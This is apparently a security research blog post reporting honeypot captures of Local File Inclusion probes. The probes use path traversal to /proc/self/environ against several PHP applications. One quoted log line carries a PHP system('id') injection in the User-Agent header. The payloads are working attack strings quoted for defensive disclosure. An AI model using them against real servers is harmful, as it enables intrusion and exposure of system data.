While reviewing today's web honeypot logs, SpiderLabs Research identified two new attack variations.
Focus on Local File Inclusion attacks
Here are some of the LFI attack payloads identified today:
GET /_functions.php?prefix=../../../../../../../proc/self/environ%00 HTTP/1.1GET /ashnews.php?pathtoashnews=../../../../../../../proc/self/environ%00 HTTP/1.1GET /b2-tools/gm-2-b2.php?b2inc=../../../../../../../proc/self/environ%00 HTTP/1.1GET /catalog/shopping_cart.php?_ID=../../../../../../../proc/self/environ%00 HTTP/1.1GET /cpcommerce/_functions.php?prefix=../../../../../../../proc/self/environ%00 HTTP/1.1GET /e107/e107_handlers/secure_img_render.php?p=../../../../../../../proc/self/environ%00 HTTP/1.1GET /eblog/blog.inc.php?xoopsConfig[xoops_url]=../../../../../../../proc/self/environ%00 HTTP/1.1GET /include/new-visitor.inc.php?lvc_include_dir=../../../../../../../proc/self/environ%00 HTTP/1.1GET /includes/include_once.php?include_file=../../../../../../../proc/self/environ%00 HTTP/1.1GET /modules/agendax/addevent.inc.php?agendax_path=../../../../../../../proc/self/environ%00 HTTP/1.1GET /modules/agendax/addevent.inc.php?agendax_path=../../../../../../../proc/self/environ%00 HTTP/1.1GET /modules/coppermine/themes/default/theme.php?THEME_DIR=../../../../../../../proc/self/environ%00 HTTP/1.1
User-Agent Field PHP Code Execution
While these new probes are interesting, what was even more interesting was the fact that all of these requests also attempted to execute PHP code from within the User-Agent request header. They all had this exact same payload:
208.79.79.14 - - [21/Dec/2011:04:23:10 -0500] "GET /_functions.php?prefix=../../../../../../../proc/self/environ%00 HTTP/1.1" 404 294 "-" "<?php system(\"id\"); ?>"
This attack vector attemps to execute PHP code when applications evaluate the User-Agent field data and do not do proper input validation. While this attack vector itself is not new, this is the first time we have seen it actively used against our honeypots.
Key Lesson
For security, you must inspect all attack vector locations including request headers and cookie payloads. Care should be taken any time client data is processed. Remember - Users are Evil! You can not trust user data and/or assume that it has not be manipulated is some way.
